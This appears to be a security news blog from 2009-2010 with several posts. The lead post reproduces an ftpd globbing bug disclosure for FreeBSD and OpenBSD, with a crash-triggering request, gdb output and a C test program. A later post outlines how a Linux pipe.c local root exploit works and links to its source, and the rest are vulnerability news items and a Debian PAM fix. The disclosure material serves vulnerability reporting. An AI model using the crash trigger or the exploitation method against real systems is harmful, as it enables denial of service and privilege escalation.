Mar 8 2010

FreeBSD and OpenBSD ftpd bug (not exploitable?)

FreeBSD ftpd globbing bug – null pointer dereference ?

Affected FreeBSD Releases
+-+-+-+-+-+-+-+-+-+
FreeBSD 8.0, 6.3 and 4.9

Affected OpenBSD Releases
+-+-+-+-+-+-+-+-+-+
OpenBSD 4.6

Testing Environment
+-+-+-+-+-+-+-+-+-+
FreeBSD localhost.Belkin 8.0-RELEASE FreeBSD 8.0-RELEASE #0: Sat Nov 21
15:48:17 UTC 2009
root () almeida cse buffalo edu:/usr/obj/usr/src/sys/GENERIC i386

Full Description
+-+-+-+-+-+-+-+-+-+
FreeBSD (tested back to 4.9-Release) (and OpenBSD 4.6) has a bug in its
ftpd when handling globbing requests.

My investigation results in this being a null pointer dereference in
popen.c.
I am not sure if this could be a heap overrun, but I don’t think so.

from popen.c:

/* glob each piece */
gargv[0] = argv[0];
for (gargc = argc = 1; argv[argc] && gargc < (MAXGLOBARGS-1); argc++) {
glob_t gl;
int flags = GLOB_BRACE|GLOB_NOCHECK|GLOB_TILDE;

memset(&gl, 0, sizeof(gl));
gl.gl_matchc = MAXGLOBARGS;
flags |= GLOB_LIMIT;
[1] if (glob(argv[argc], flags, NULL, &gl))
gargv[gargc++] = strdup(argv[argc]);
[2] else
[3] for (pop = gl.gl_pathv; *pop && gargc < (MAXGLOBARGS-1);
pop++)
gargv[gargc++] = strdup(*pop);
globfree(&gl);
}

At [1] glob() is called. if theres a long directory (for example "A" x
200) and a request like described
in "how to repeat this problem" is sent to the ftpd it crashes. My
assumption is because it lands in the
else clause [2], glob doesn't fail but gives back a zeroed out gl
structure. In [3] then there's no check
if pop is null and therefore *pop gets dereferenced which is a null
pointer and the ftpd instance crashes.

Could someone please shed some light into why glob doesn't fail but
gives a zeroed out structure back?

How to repeat the problem
+-+-+-+-+-+-+-+-+-+-+-+-+-+

$ ftp 192.168.2.11
Connected to 192.168.2.11.
220 localhost.Belkin FTP server (Version 6.00LS) ready.
Name (192.168.2.11:nr): kcope
331 Password required for kcope.
Password:
230 User kcope logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> mkdir
WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW
257
“WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW”
directory created.
ftp> ls {W*/../W*/../W*/../W*/../W*/../W*/../W*/}
200 PORT command successful.
—snip—

on the other side:

—snip—
0×282261e5 in read () at read.S:3
3 RSYSCALL(read)
Current language: auto; currently asm
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0×0805622c in getline ()
(gdb) i r
eax 0×0 0
ecx 0×0 0
edx 0×0 0
ebx 0xbfbfd911 -1077946095
esp 0xbfbfba70 0xbfbfba70
ebp 0xbfbfcc08 0xbfbfcc08
esi 0×1 1
edi 0xbfbfcbf4 -1077949452
eip 0×805622c 0×805622c
eflags 0×10293 66195
cs 0×33 51
ss 0×3b 59
ds 0×3b 59
es 0×3b 59
fs 0×3b 59
gs 0×1b 27
(gdb) x/10i $eip
0×805622c : mov (%edx),%eax
0×805622e
: setle %cl
0×8056231
: mov %ecx,%esi
0×8056233
: test %eax,%eax
0×8056235
: je 0×8056281
0×8056237
: test %cl,%cl
0×8056239
: je 0×8056281
0×805623b
: mov %edx,%ebx
0×805623d
: mov 0xffffee7c(%ebp),%edx
0×8056243
: lea 0xffffee90(%ebp,%edx,4),%edi
(gdb) i f
Stack level 0, frame at 0xbfbfcc10:
eip = 0×805622c in getline; saved eip 0×805047b
called by frame at 0xbfbfcc14
Arglist at 0xbfbfcc08, args:
Locals at 0xbfbfcc08, Previous frame’s sp is 0xbfbfcc10
Saved registers:
ebx at 0xbfbfcbfc, ebp at 0xbfbfcc08, esi at 0xbfbfcc00, edi at
0xbfbfcc04,
eip at 0xbfbfcc0c
(gdb)

Testing program:

—snip—

#include
#include

#define MAXUSRARGS 100
#define MAXGLOBARGS 1000

void do_glob() {
glob_t gl;
char **pop;

char buffer[256];
strcpy(buffer, “{A*/../A*/../A*/../A*/../A*/../A*/../A*}”);

int flags = GLOB_BRACE|GLOB_NOCHECK|GLOB_TILDE;
memset(&gl, 0, sizeof(gl));
gl.gl_matchc = MAXGLOBARGS;
flags |= GLOB_LIMIT;
if (glob(buffer, flags, NULL, &gl)) {
printf(“GLOB FAILED!\n”);
return 0;
}
else
// for (pop = gl.gl_pathv; pop && *pop && 1 < (MAXGLOBARGS-1);
for (pop = gl.gl_pathv; *pop && 1 < (MAXGLOBARGS-1);
pop++) {
printf("glob success");
return 0;
}
globfree(&gl);
}

main(int argc, char **argv) {
do_glob();
do_glob();
}
---snip---

05 March 2010
/kingcope

Source


Nov 10 2009

Password hole in GRUB boot loader closed

The new version of the GNU GRUB boot loader, 1.97.1, closes a security hole in the previous version, 1.97, which allowed passwords be easily circumvented. The password protection is available in GRUB to prevent unauthorised modification of the boot parameters. A programming error in the feature lead to passwords being accepted as valid even if only the first character of the entered password was correct.

GRUB 1.97, also known as GRUB 2, has support for simple user authentication in its new config file format. The passwords do, though, need to be stored as readable clear text. Various Linux distributions are now being shipped with GRUB 2, including Debian “sid”, the soon to be released Fedora 12 and the recently released Ubuntu 9.10.

Source


Nov 8 2009

Linux 2.6.x fs/pipe.c local root exploit (CVE-2009-3547)

For those who were not yet aware, there is at least 3 public exploits since 11/05/2009 for CVE-2009-3547 targeting *all* linux kernels from 2.6.0 to 2.6.31 included. Since spender and fotis have already release their own, there is not need for us to keep this on our hd.

ImpelDown.c is a poc trying to exploit null ptr dereference in fs/pipe.c for *all* linux kernel from 2.6.0 to 2.6.31 and ImpelDown-2.6.31only.c target only linux kernel version 2.6.31 (tested and approuved with mmap_min_addr at 0).

If you were writing your own, you have already noticed that there is a subtle difference in the way you can own kernels 2.6.0 up to 2.6.10 and kernels 2.6.11 up to 2.6.31: in the first one the null ptr deref leads to an arbitrary write to everywhere in the kernel since you have control over the destination address of

linux2.6.9/fs/pipe.c


219 if (pipe_iov_copy_from_user(pipebuf, iov, chars)) {

In such case, we try to exploit this by overwriting and old and obsolete syscall address in the sys_call_table by our privilege escalator function address (hehe old school trickz are always the best).

In kernels 2.6.11 up to 2.6.31, exploitation simply resume in mapping the correct struct pipe_inode_info at NULL and the kernel will call a fptr under our control at inode->i_pipe->bufs[1-16].ops->something()

You can find exploits at http://www.vxhell.org/~teach/exploits/ImpelDown.c and http://www.vxhell.org/~teach/exploits/ImpelDown-2.6.31only.c. The first one wasn’t tested but the second would work for the given kernel (according to your mmap_min_addr)

Source


Nov 4 2009

Brad Spengler Releases MooseCox

From Brad Spengler’s Twitter

MooseCox released in enlightenment: http://bit.ly/dEtOG complete with OpenBSD history lesson and a picture in the post-exploit payload

This was referenced earlier in Bug in latest Linux gives untrusted users root access


Nov 3 2009

Bug in latest Linux gives untrusted users root access

A software developer has uncovered a bug in most versions of Linux that could allow untrusted users to gain complete control over the open-source operating system.

The null pointer dereference flaw was only fixed in the upcoming 2.6.32 release candidate of the Linux kernel, making virtually all production versions in use at the moment vulnerable. While attacks can be prevented by implementing a common feature known as mmap_min_addr, the RHEL distribution, short for Red Hat Enterprise Linux, doesn’t properly implement that protection, Brad Spengler, who discovered the bug in mid October, told The Register.

Source


Oct 30 2009

Multiple BSD printf(1) and multiple dtoa/*printf(3) vulnerabilities

printf(1) formats and prints its arguments, after the first, under control of the format. The format is a character string which contains three types of objects: plain characters, which are simply copied to standard output, character escape sequences which are converted and copied to the standard output, and format specifications, each of which causes printing of the next successive argument.

Source


Oct 28 2009

Debian Unstable (Sid) – Unable to Change Root Password

Today while updating the server that uncompiled.com runs on, I ran into a weird problem that is a first for me using Debian. After changing my APT sources from Lenny to Sid and doing a routine apt-get dist-upgrade, I by necessity went to change my root password. Normally a very mundane task for a Linux system, I immediately hit a wall.

www:~# passwd root
passwd: Authentication token manipulation error
passwd: password unchanged

Upon seeing this, I started to figure out reasons why this may occur. After attempting to double-check /etc/passwd & /etc/shadow for any anomolies, I moved on to a recommendation by a friend who told me to try a pwconv just in case files had gotten out of sync. Nothing was panning out for a solution. I decided to test a normal user account which presented me with an interesting situation.

www:~# passwd test
Current Kerberos password:

Here’s the problem — I don’t use Kerberos on this system, nor did I even have the software installed to begin with on the system. Having noted this, I edited /etc/pam.d/common-password and noticed immediately that an undesired line was present

password        requisite                       pam_krb5.so minimum_uid=1000

I went ahead and decided to just completely purge the problem considering that again, I had no use for Kerberos authentication with PAM on my system. I opted to execute the following command.

# apt-get remove –purge libpam-krb5

Once executed, password changing resumed to functioning properly.